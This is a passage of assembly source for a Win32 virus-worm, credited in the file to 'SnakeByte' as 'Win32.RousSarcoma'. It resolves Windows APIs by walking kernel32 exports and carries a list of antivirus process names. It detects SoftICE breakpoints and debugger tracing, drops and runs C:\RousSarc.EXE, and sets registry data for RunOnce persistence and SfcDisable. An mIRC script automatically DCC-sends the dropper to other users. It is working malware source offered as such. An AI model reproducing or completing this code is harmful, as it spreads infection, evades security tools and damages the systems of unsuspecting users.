ret
|
||
|
||
|
||
NoEXE:
|
||
stc
|
||
ret
|
||
|
||
; ***************************************************************************
|
||
; -------------------------[ Open Us-Prozedur ]------------------------------
|
||
; ***************************************************************************
|
||
OpenMyself: ; this Procedure returns the start of
|
||
; the current file in esi
|
||
; first we need the filename
|
||
pushad
|
||
call dword ptr [XGetCommandLineA]
|
||
inc eax
|
||
mov dword ptr [CmdLine], eax
|
||
|
||
CommandReceive:
|
||
cmp dword ptr [eax],'EXE.'
|
||
je CommandOK
|
||
inc eax
|
||
jmp CommandReceive
|
||
|
||
CommandOK:
|
||
add eax, 4h
|
||
mov byte ptr [eax],0 ; CmdLine contains now a pointer
|
||
; to the filename of our file
|
||
mov esi, dword ptr [CmdLine]
|
||
|
||
xor eax,eax ; Open File
|
||
push eax
|
||
push eax
|
||
push 3h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 80000000h
|
||
push esi ; Filename is in ESI
|
||
call dword ptr [XCreateFileA]
|
||
|
||
mov ebx, eax ; save handle
|
||
|
||
push 0 ; load the file into the free memory
|
||
push offset Read ; number of bytes read..
|
||
push VirusSize ; read how many bytes ?
|
||
push offset FileBuffer
|
||
push eax
|
||
call dword ptr [XReadFile]
|
||
|
||
push ebx
|
||
call dword ptr [XCloseHandle]
|
||
popad
|
||
ret
|
||
|
||
Read dd ?
|
||
|
||
; ***************************************************************************
|
||
; -----------------------[ Check if we got an AV ]---------------------------
|
||
; ***************************************************************************
|
||
AVNameCheck: ; pointer to name is in esi
|
||
pushad ; save all registers
|
||
|
||
lea edi, NameBuffer ; we transfer the name to a buffer
|
||
xor ecx, ecx
|
||
|
||
NameCheckLoop:
|
||
cmp byte ptr [esi], 0 ; check if we are at the end
|
||
je NameTransferred
|
||
lodsb ; get first letter
|
||
cmp al, 96d
|
||
jb StoreLetter
|
||
sub al, 32d ; convert to uppercase
|
||
|
||
StoreLetter:
|
||
stosb
|
||
inc ecx
|
||
jmp NameCheckLoop
|
||
|
||
NameTransferred: ; nothing found .. :(
|
||
cmp ecx, 0
|
||
je EndNameCheck
|
||
mov dword ptr [NameLen], ecx
|
||
|
||
mov edx, 28d ; Number of AV-Names we check
|
||
lea esi, AVNames ; Pointer to the names
|
||
lea ebp, AVLenght
|
||
CheckLoop:
|
||
call NameCheck ; Procedure to check this name
|
||
jc WeGotAvName ; if Carriage Flag is set we got one
|
||
dec edx ; otherwise we search on, until edx = 0
|
||
jz EndNameCheck
|
||
|
||
xor eax, eax
|
||
mov al, byte ptr [ebp] ; increase esi
|
||
mov esi, dword ptr [NameESI2]
|
||
add esi, eax
|
||
inc ebp
|
||
jmp CheckLoop
|
||
|
||
EndNameCheck: ; We found nothing :)
|
||
popad
|
||
ret
|
||
|
||
WeGotAvName: ; We found a dirty AV :(
|
||
popad
|
||
xor esi, esi ; ESI = 0 as flag
|
||
ret
|
||
|
||
NameCheck: ; ECX contains the size of the search area
|
||
; ESI points to av name
|
||
; EDI points to filename
|
||
mov dword ptr [NameESI2], esi
|
||
mov ecx, dword ptr [NameLen]
|
||
lea edi, NameBuffer ; here we search for the Name
|
||
mov al, byte ptr [esi] ; get first byte into al..
|
||
|
||
mov dword ptr [NameESI], esi ; avname
|
||
mov dword ptr [NameEDI], edi ; filename
|
||
|
||
SearchOn:
|
||
mov esi, dword ptr [NameESI] ; avname
|
||
mov edi, dword ptr [NameEDI]
|
||
|
||
repnz scasb ; start search
|
||
cmp ecx,0
|
||
jz NoAV
|
||
|
||
mov dword ptr [NameESI], esi
|
||
dec edi
|
||
mov dword ptr [NameEDI], edi
|
||
|
||
Compare: ; compare the rest of the string
|
||
xor ecx, ecx
|
||
mov cl, byte ptr [ebp] ; points to stringlenght
|
||
Compare2:
|
||
repz cmpsb
|
||
jc Compare2
|
||
cmp ecx,0
|
||
jz Found
|
||
|
||
NoAV:
|
||
ret
|
||
|
||
Found: ; We got a dirty AV :P
|
||
stc ; set flag
|
||
ret
|
||
|
||
NameLen dd 0h ; Size of the filename
|
||
NameESI dd 0h ; Pointer to av name
|
||
NameEDI dd 0h ; Pointer to filename
|
||
NameESI2 dd 0h ; Pointer to av name
|
||
|
||
; Table with names of AV-File we don't start
|
||
AVNames:
|
||
db 'AVPM' ; AVP Names
|
||
db 'AVP32'
|
||
db 'AVPCC'
|
||
db 'AVPTC'
|
||
db '_AVPM'
|
||
db '_AVP32'
|
||
db '_AVPCC'
|
||
db 'AVPDOS'
|
||
|
||
db 'AVE32' ; Anti-Vir
|
||
db 'AVGCTRL'
|
||
db 'AVWIN95'
|
||
|
||
db 'SCAN32' ; DR-Solomon
|
||
db 'AVCONSOL'
|
||
db 'VSHWIN32'
|
||
|
||
db 'FP-WIN' ; F-Prot
|
||
db 'F-STOPW'
|
||
|
||
db 'DVP95' ; F-Secure
|
||
db 'F-AGNT95'
|
||
db 'F-PROT95'
|
||
|
||
db 'VET95' ; InnoculateIT
|
||
db 'VETTRAY'
|
||
|
||
db 'CLAW95' ; Norman Virus Control
|
||
db 'NVC95'
|
||
|
||
db 'NAVAPW32' ; Norton
|
||
db 'NAVW32'
|
||
|
||
db 'SWEEP95' ; Sophos
|
||
|
||
db 'IOMON98' ; PC-Cillin
|
||
db 'PCCWIN98'
|
||
|
||
db 'MONITOR' ; RAV
|
||
db 'RAW7WIN'
|
||
|
||
AVLenght:
|
||
db 4d, 5d, 5d, 5d, 5d, 6d, 6d, 6d ; AVP
|
||
db 5d, 7d, 7d ; ANTI-Vir
|
||
db 6d, 8d, 8d ; DR-Solomon
|
||
db 6d, 7d ; F-PROT
|
||
db 5d, 8d, 8d ; F-Secure
|
||
db 5d, 7d ; Innoculate-IT
|
||
db 6d, 5d ; Norman
|
||
db 8d, 6d ; Norton
|
||
db 7d ; Sophos
|
||
db 7d, 8d ; PC-Cillin
|
||
db 7d, 7d ; RAV
|
||
|
||
; ***************************************************************************
|
||
; --------------------------[ Align-Prozedur ]-------------------------------
|
||
; ***************************************************************************
|
||
; eax - Size
|
||
; ecx - base
|
||
Align:
|
||
push edx
|
||
xor edx, edx
|
||
push eax
|
||
div ecx
|
||
pop eax
|
||
sub ecx, edx
|
||
add eax, ecx
|
||
pop edx ; eax - New Size
|
||
ret
|
||
|
||
|
||
; ***************************************************************************
|
||
; --------------------------[ FindFile Prozeduren ]--------------------------
|
||
; ***************************************************************************
|
||
|
||
; Search for files
|
||
FindFirstFileProc:
|
||
call ClearFindData
|
||
lea eax, WIN32_FIND_DATA
|
||
push eax
|
||
push esi
|
||
call dword ptr [XFindFirstFileA]
|
||
mov dword ptr [FindHandle], eax
|
||
ret
|
||
|
||
FindNextFileProc:
|
||
call ClearFindData
|
||
lea eax, WIN32_FIND_DATA
|
||
push eax
|
||
mov eax, dword ptr [FindHandle]
|
||
push eax
|
||
call dword ptr [XFindNextFileA]
|
||
ret
|
||
|
||
ClearFindData:
|
||
lea edi, WFD_szFileName
|
||
mov ecx, 276d ; clear old data
|
||
xor eax, eax
|
||
rep stosb
|
||
ret
|
||
|
||
;****************************************************************************
|
||
;-----------------------------[ PE / MZ Check ]------------------------------
|
||
;****************************************************************************
|
||
; Check MZ and PE - Signs
|
||
CheckPESign:
|
||
cmp dword ptr [edi], 'FP' ; greater or equal to "PF"
|
||
jae NoPESign
|
||
|
||
cmp dword ptr [edi], 'DP' ; lower or equal to "PD"
|
||
jbe NoPESign
|
||
|
||
clc ; all left is "PE"
|
||
ret
|
||
|
||
NoPESign:
|
||
stc
|
||
ret
|
||
|
||
CheckMZSign:
|
||
|
||
cmp word ptr [esi], '[M'
|
||
jae NoPESign
|
||
|
||
cmp word ptr [esi], 'YM'
|
||
jbe NoPESign
|
||
|
||
clc
|
||
ret
|
||
ret
|
||
|
||
; ***************************************************************************
|
||
; ----------------[ This is the host for the EXE-Virus Part ]----------------
|
||
; ***************************************************************************
|
||
|
||
FirstGenHost:
|
||
push 0h ; stop this !
|
||
call ExitProcess
|
||
jmp FirstGenHost
|
||
|
||
|
||
|
||
|
||
|
||
;
|
||
; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
|
||
; ////////////////////////////////////////////////////////////////////////////\
|
||
; ###########################################################################/\
|
||
; ------------------[ This is the second part of the Virus ]-----------------/\
|
||
; ###########################################################################/\
|
||
; ////////////////////////////////////////////////////////////////////////////\
|
||
; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
|
||
;
|
||
|
||
SecondPart:
|
||
; Here do we drop the entire file from the
|
||
; infected goat and execute it
|
||
|
||
; ***************************************************************************
|
||
; -------------------------[ Search for Kernel ]-----------------------------
|
||
; ***************************************************************************
|
||
|
||
|
||
call Delta
|
||
|
||
Delta:
|
||
pop ebp
|
||
sub ebp, offset Delta
|
||
|
||
mov esi, [esp] ; get Create Process API
|
||
xor si, si
|
||
|
||
call GetKernel ; Search for kernel
|
||
jnc GetApis ; If we got it we carry on..
|
||
jmp ExecuteHost
|
||
|
||
; ***************************************************************************
|
||
; --------------------[ Search-Kernel Procedure ]----------------------------
|
||
; ***************************************************************************
|
||
|
||
GetKernel:
|
||
mov byte ptr [ebp+K32Trys], 5h
|
||
|
||
GK1:
|
||
cmp byte ptr [ebp+K32Trys], 00h
|
||
jz NoKernel ; did we pass the limit ?
|
||
|
||
call CheckMZSign ; Check for exe-stub
|
||
jnc CheckPE
|
||
|
||
GK2:
|
||
sub esi, 10000h ; search next page
|
||
dec byte ptr [ebp+K32Trys]
|
||
jmp GK1 ; test again
|
||
|
||
CheckPE: ; test for PE-Header
|
||
mov edi, [esi+3Ch]
|
||
add edi, esi
|
||
call CheckPESign
|
||
|
||
jnc CheckDLL ; check dll-sign
|
||
jmp GK2
|
||
|
||
CheckDLL:
|
||
add edi, 16h
|
||
mov bx, word ptr [edi] ; get characteristics
|
||
and bx, 0F000h ; to check for dll flag
|
||
cmp bx, 02000h
|
||
jne GK2
|
||
|
||
KernelFound: ; We got it !
|
||
sub edi, 16h ; edi = PE-Header
|
||
xchg eax, edi ; eax = PE offset
|
||
xchg ebx, esi ; ebx = MZ offset
|
||
clc ; clear carriage flag
|
||
ret
|
||
|
||
NoKernel:
|
||
stc ; set carriage flag if we did not found it
|
||
ret
|
||
|
||
K32Trys db 5h ; search range
|
||
|
||
; ***************************************************************************
|
||
; ---------------------------[ Search for API's ]----------------------------
|
||
; ***************************************************************************
|
||
|
||
|
||
; we search for LoadLibaryA and GetProcAddress
|
||
; in the kernel to get the other API's
|
||
|
||
LL db 'LoadLibraryA', 0h
|
||
GPA db 'GetProcAddress', 0h
|
||
|
||
GetApis: ; offset of Kernel32.dll PE-headers in eax
|
||
|
||
mov [ebp+KernelAddy], eax ; save
|
||
mov [ebp+MZAddy], ebx
|
||
|
||
lea edx, [ebp+LL] ; Point to LoadLibaryA - API
|
||
mov ecx, 0Ch ; size of name
|
||
call SearchAPI1 ; search it
|
||
mov [ebp+XLoadLibraryA], eax
|
||
; save offset
|
||
|
||
xchg eax, ecx ; if we did not get it, we can't go on
|
||
jecxz ExecuteHost
|
||
|
||
lea edx, [ebp+GPA] ; Name of GetProcAddress - API
|
||
mov ecx, 0Eh ; size
|
||
call SearchAPI1
|
||
mov [ebp+XGetProcAddress], eax
|
||
|
||
xchg eax, ecx ; check if we got it
|
||
jecxz ExecuteHost
|
||
|
||
|
||
GetAPI2: ; locate all other apis now
|
||
lea eax, [ebp+KERNEL32]
|
||
push eax
|
||
call dword ptr [ebp+XLoadLibraryA]
|
||
mov [ebp+K32Handle], eax
|
||
test eax, eax
|
||
jz ExecuteHost
|
||
|
||
lea esi, [ebp+Kernel32Names2]
|
||
lea edi, [ebp+YCreateFileA]
|
||
mov ebx, [ebp+K32Handle]
|
||
push NumberOf2Kernel32APIS
|
||
pop ecx
|
||
call GetAPI3
|
||
jmp DropIT ; let's do something serious ;)
|
||
|
||
|
||
; ***************************************************************************
|
||
; --------[ Search the kernel export table for the 2 main API's ]------------
|
||
; ***************************************************************************
|
||
|
||
|
||
SearchAPI1:
|
||
and word ptr [ebp+counter], 0h
|
||
|
||
mov eax, [ebp+KernelAddy] ; get PE-Header offset
|
||
|
||
mov esi, [eax+78h] ; get Export Table Address
|
||
add esi, [ebp+MZAddy]
|
||
add esi, 1Ch
|
||
|
||
lodsd ; get address table
|
||
add eax, [ebp+MZAddy]
|
||
mov dword ptr [ebp+ATableVA], eax
|
||
|
||
lodsd ; get pointer table
|
||
add eax, [ebp+MZAddy]
|
||
mov dword ptr [ebp+NTableVA], eax
|
||
|
||
lodsd ; Ordinal Table
|
||
add eax, [ebp+MZAddy]
|
||
mov dword ptr [ebp+OTableVA], eax
|
||
|
||
mov esi, [ebp+NTableVA] ; get Name Pointer Table
|
||
|
||
SearchNextApi1:
|
||
push esi
|
||
lodsd
|
||
add eax, [ebp+MZAddy]
|
||
|
||
mov esi, eax
|
||
mov edi, edx
|
||
push ecx
|
||
|
||
cld
|
||
rep cmpsb ; check for api name
|
||
pop ecx
|
||
jz FoundApi1
|
||
|
||
pop esi ; get next API-Name
|
||
add esi, 4h
|
||
inc word ptr [ebp+counter]
|
||
cmp word ptr [ebp+counter], 2000h
|
||
je NotFoundApi1 ; if we checked more than 2000 API's we stop
|
||
jmp SearchNextApi1 ; check next
|
||
|
||
FoundApi1:
|
||
pop esi
|
||
movzx eax, word ptr [ebp+counter]
|
||
shl eax, 1h ; get right entry
|
||
|
||
add eax, dword ptr [ebp+OTableVA]
|
||
xor esi, esi ; clear esi --> eax
|
||
xchg eax, esi
|
||
lodsw
|
||
shl eax, 2h
|
||
add eax, dword ptr [ebp+ATableVA]
|
||
mov esi, eax ; get RVA
|
||
lodsd ; eax = Adress RVA
|
||
add eax, [ebp+MZAddy]
|
||
|
||
ret ; API offset in eax
|
||
|
||
NotFoundApi1:
|
||
xor eax, eax ; we failed :(
|
||
ret
|
||
|
||
; ***************************************************************************
|
||
; ----------------------[ Let's drop the virus to a file ]-------------------
|
||
; ***************************************************************************
|
||
DropIT:
|
||
|
||
push 0
|
||
push 080h ; normal
|
||
push 1 ; new file
|
||
push 0
|
||
push 0
|
||
push 40000000h ; write access
|
||
lea eax, [ebp+HiddenFile]
|
||
push eax
|
||
call dword ptr [ebp+YCreateFileA]
|
||
|
||
xchg eax, ebx ; Handle in ebx
|
||
|
||
mov esi, ebp
|
||
add esi, ImageBase + Gap1 ; uninitialised data once again ;)
|
||
|
||
push 0 ; overlapped
|
||
lea ecx, [ebp+Write] ; written bytes
|
||
push ecx
|
||
push VirusSize ; Lenght
|
||
push esi ; Start of Data
|
||
push ebx ; File Handle
|
||
Call dword ptr [ebp+YWriteFile]
|
||
|
||
push ebx
|
||
call dword ptr [ebp+YCloseHandle]
|
||
|
||
|
||
xor eax, eax ; let's execute the virus
|
||
lea esi, [ebp+ProcessInformation]
|
||
push esi
|
||
lea esi, [ebp+StartupInfo]
|
||
push esi
|
||
push eax ; lpCurrentDirectory
|
||
push eax ; lpEnvironment
|
||
push eax ; Create_New_Process_Group & Normal_Priority_Class
|
||
push eax ; bInheritHandles
|
||
push eax ; lpThreadAttributes
|
||
push eax ; lpProcessAttributes
|
||
lea esi, [ebp+HiddenFile]
|
||
push esi ; filename with commandline
|
||
push eax ; command line
|
||
call dword ptr [XCreateProcessA]
|
||
|
||
; ***************************************************************************
|
||
; -----------------------[ open original program ]---------------------------
|
||
; ***************************************************************************
|
||
|
||
ExecuteHost:
|
||
|
||
mov eax,12345678h ; get back to old Imagebase+EIP
|
||
org $-4
|
||
retEIP dd 0h
|
||
|
||
add eax,12345678h
|
||
org $-4
|
||
retBas dd 0h
|
||
|
||
jmp eax
|
||
|
||
OldEIP dd 0h
|
||
OldBase dd 0h
|
||
|
||
NewEIP dd 0h
|
||
|
||
|
||
; ***************************************************************************
|
||
; --------------[ use GetProcAddress to retrieve API's ]---------------------
|
||
; ***************************************************************************
|
||
; this procedure is used in both parts of the virus !
|
||
; esi point to the names
|
||
; edi to the place where we save the offsets
|
||
; ebx contains module handle
|
||
; ecx got the number of api's
|
||
GetAPI3:
|
||
push ecx ; save number
|
||
|
||
push esi ; push Api-name
|
||
push ebx ; push Module-Handle
|
||
; call GetProcAddress
|
||
cmp ebp, 'VA-A' ; if we are in the exe-part, we can call
|
||
je API3b ; the api directly
|
||
|
||
pushad ; check for int 1h tracing
|
||
push eax ; int 1h tracing destroys the stack, so we will see
|
||
pop eax ; if it is destroyed
|
||
sub esp, 4d
|
||
pop ecx
|
||
cmp eax, ecx
|
||
jne EndApi3
|
||
popad
|
||
|
||
API3a: ; otherwise we need the one found in the kernel
|
||
call dword ptr [ebp+XGetProcAddress]
|
||
jmp API3c
|
||
|
||
API3b:
|
||
call GetProcAddress
|
||
|
||
API3c:
|
||
stosd ; save offset
|
||
|
||
pushad
|
||
cmp eax, 0 ; Lets do a check for Softice Breakpoints
|
||
je NoSICheck
|
||
cmp byte ptr [eax], 0CCh ; check for the breakpoint
|
||
je EndApi3 ; due to the pushad, we will ret somewhere strange ;)
|
||
NoSICheck:
|
||
popad
|
||
|
||
pop ecx
|
||
dec ecx
|
||
jz EndApi3
|
||
|
||
push ecx ; point to next name
|
||
|
||
SearchZero:
|
||
cmp byte ptr [esi], 0h
|
||
je GotZero
|
||
inc esi
|
||
jmp SearchZero
|
||
|
||
GotZero:
|
||
inc esi
|
||
pop ecx
|
||
jmp GetAPI3 ; get next api
|
||
|
||
EndApi3:
|
||
ret
|
||
|
||
|
||
; ###########################################################################
|
||
; ----------------------[ Third Part - The Data ]----------------------------
|
||
; ###########################################################################
|
||
|
||
; ***************************************************************************
|
||
; ---------------------[ Data of the second part ]---------------------------
|
||
; ***************************************************************************
|
||
|
||
NumberOf2Kernel32APIS equ 4
|
||
|
||
Kernel32Names2:
|
||
db 'CreateFileA', 0
|
||
db 'CloseHandle', 0
|
||
db 'WriteFile',0
|
||
db 'CreateProcessA',0
|
||
|
||
HiddenFile db 'C:\RousSarc.EXE',0 ; Rous Sarkoma is a well known Retro Virus
|
||
KERNEL32 db 'kernel32.dll',0 ; kernel32.dll .. :)
|
||
|
||
; ***************************************************************************
|
||
; ---------------------------[ Some Data ]-----------------------------------
|
||
; ***************************************************************************
|
||
VirusEnd:
|
||
|
||
K32Handle dd (?) ; Hier speichern wir das Handle der Kernel32.dll
|
||
|
||
XLoadLibraryA dd (?) ; Hier die Offsets der ersten beiden API's
|
||
XGetProcAddress dd (?)
|
||
|
||
; API's we need for the second part
|
||
YCreateFileA dd (?)
|
||
YCloseHandle dd (?)
|
||
YWriteFile dd (?)
|
||
YCreateProcessA dd (?)
|
||
|
||
StartofVirusinFile dd 0h
|
||
Write dd 0h
|
||
|
||
; Daten f<>r die Kernel-Suche
|
||
KernelAddy dd (?) ; PE-Header
|
||
MZAddy dd (?) ; MZ-Header
|
||
counter dw (?) ; Wie viele Namen haben wir getestet
|
||
|
||
ATableVA dd (?) ; Address Table VA
|
||
NTableVA dd (?) ; Name Pointer Table VA
|
||
OTableVA dd (?) ; Name Pointer Table VA
|
||
|
||
; ***************************************************************************
|
||
; --------------------[ Initialized First Part Data ]------------------------
|
||
; ***************************************************************************
|
||
|
||
.DATA
|
||
CopyRight db 'Win32.RousSarcoma by SnakeByte',0
|
||
|
||
_2kProt db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
|
||
_2kProtValue db 'SfcDisable',0
|
||
RunOnceName db '\RousSarc.EXE',0
|
||
RunOnceKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0
|
||
|
||
filemask db '*.EXE', 0 ; get exe-files
|
||
|
||
; Data for mIRC Worming
|
||
MIRCscript db '[script]',13d,10d
|
||
db 'n0=on 1:join:#: { if ( $nick == $me ) halt', 13d,10d
|
||
db 'n1= else .timer 1 30 .dcc send $nick C:\RousSarc.EXE }', 13d,10d
|
||
db 'n2=on *:filesent:*.*: { if ( $nick != $me ) .dcc send $nick C:\RousSarc.EXE }', 13d,10d
|
||
EndScript:
|
||
mircINI db 'mirc.ini',0
|
||
MIRCrfiles db 'rfiles',0 ;what to patch
|
||
MOffset db 'n2',0
|
||
MIRCprot db 'RousSarc.ini',0
|
||
|
||
; Names of the API's we need
|
||
Kernel32Names:
|
||
NumberOfKernel32APIS equ 21d
|
||
|
||
db 'FindFirstFileA', 0
|
||
db 'FindNextFileA', 0
|
||
db 'FindClose', 0
|
||
db 'CreateFileA', 0
|
||
db 'CloseHandle', 0
|
||
db 'CreateFileMappingA', 0
|
||
db 'MapViewOfFile', 0
|
||
db 'UnmapViewOfFile', 0
|
||
db 'GetCommandLineA',0
|
||
db 'ReadFile',0
|
||
db 'CreateProcessA',0
|
||
db 'GetSystemDirectoryA',0
|
||
db 'CopyFileA',0
|
||
db 'GetCurrentProcessId',0
|
||
db 'RegisterServiceProcess',0
|
||
db 'GetCurrentDirectoryA',0
|
||
db 'SetCurrentDirectoryA',0
|
||
db 'GetWindowsDirectoryA',0
|
||
db 'GetFullPathNameA',0
|
||
db 'WritePrivateProfileStringA',0
|
||
db 'WriteFile',0
|
||
|
||
advname db 'advapi32',0
|
||
|
||
AdvapiNames:
|
||
NumberOfAdvapiAPIS equ 6
|
||
|
||
db 'RegOpenKeyExA',0
|
||
db 'RegQueryValueExA',0
|
||
db 'RegCloseKey',0
|
||
db 'RegSetValueExA',0
|
||
db 'RegCreateKeyExA',0
|
||
db 'RegEnumKeyA',0
|
||
|
||
StartupInfo:
|
||
db 64d
|
||
db 63d dup (0)
|
||
|
||
ProcessInformation:
|
||
hProcess dd 0h
|
||
hThread dd 0h
|
||
dwProcessId dd 0h
|
||
dwThreadId dd 0h
|
||
|
||
; ***************************************************************************
|
||
; -------------------[ Uninitialized First Part Data ]-----------------------
|
||
; ***************************************************************************
|
||
.DATA?
|
||
; API's we need for first Part
|
||
XFindFirstFileA dd ?
|
||
XFindNextFileA dd ?
|
||
XFindClose dd ?
|
||
XCreateFileA dd ?
|
||
XCloseHandle dd ?
|
||
XCreateFileMappingA dd ?
|
||
XMapViewOfFile dd ?
|
||
XUnmapViewOfFile dd ?
|
||
XGetCommandLineA dd ?
|
||
XReadFile dd ?
|
||
XCreateProcessA dd ?
|
||
XGetSystemDirectoryA dd ?
|
||
XCopyFileA dd ?
|
||
XGetCurrentProcessId dd ?
|
||
XRegisterServiceProcess dd ?
|
||
XGetCurrentDirectoryA dd ?
|
||
XSetCurrentDirectoryA dd ?
|
||
XGetWindowsDirectoryA dd ?
|
||
XGetFullPathNameA dd ?
|
||
XWritePrivateProfileStringA dd ?
|
||
XWriteFile dd ?
|
||
|
||
; API's we need to edit the Registry
|
||
XRegOpenKeyExA dd ?
|
||
XRegQueryValueExA dd ?
|
||
XRegCloseKey dd ?
|
||
XRegSetValueExA dd ?
|
||
XRegCreateKeyExA dd ?
|
||
XRegEnumKeyA dd ?
|
||
|
||
ADVHandle dd ? ; Handle of ADVAPI32.dll
|
||
|
||
NewSize dd ? ; New Filesize
|
||
CmdLine dd ? ; Commandline
|
||
|
||
; Struktur for FindFirstFile / Next
|
||
FILETIME STRUC
|
||
FT_dwLowDateTime dd ?
|
||
FT_dwHighDateTime dd ?
|
||
FILETIME ENDS
|
||
|
||
; data for FindFirstFile / Next API
|
||
WIN32_FIND_DATA label byte
|
||
WFD_dwFileAttributes dd ?
|
||
WFD_ftCreationTime FILETIME ?
|
||
WFD_ftLastAccessTime FILETIME ?
|
||
WFD_ftLastWriteTime FILETIME ?
|
||
WFD_nFileSizeHigh dd ?
|
||
WFD_nFileSizeLow dd ?
|
||
WFD_dwReserved0 dd ?
|
||
WFD_dwReserved1 dd ?
|
||
WFD_szFileName db 260d dup (?)
|
||
WFD_szAlternateFileName db 13 dup (?)
|
||
WFD_szAlternateEnding db 03 dup (?)
|
||
|
||
FileHandle dd ? ; Filehandle
|
||
MapHandle dd ? ; Handle of the Map
|
||
MapAddress dd ? ; Offset of the Map
|
||
Handle dd ?
|
||
|
||
Dispostiton dd ? ; dispostition when creating a reg key
|
||
RegHandle dd ? ; handle of an opened registry key
|
||
RegData1 dd ? ; Bytes read
|
||
|
||
|
||
InfCounter db ? ; Counter
|
||
FindHandle dd ? ; Handle for FindFirstFile API
|
||
FileBuffer db VirusSize dup (?)
|
||
; We temporarily save the name of a possible AV
|
||
; to check if it is one
|
||
NameBuffer db 255d dup (?)
|
||
CurrentPath db 255d dup (?)
|
||
|
||
|
||
; ***************************************************************************
|
||
; ------------------------[ That's all, go home ]----------------------------
|
||
; ***************************************************************************
|
||
end Virus
|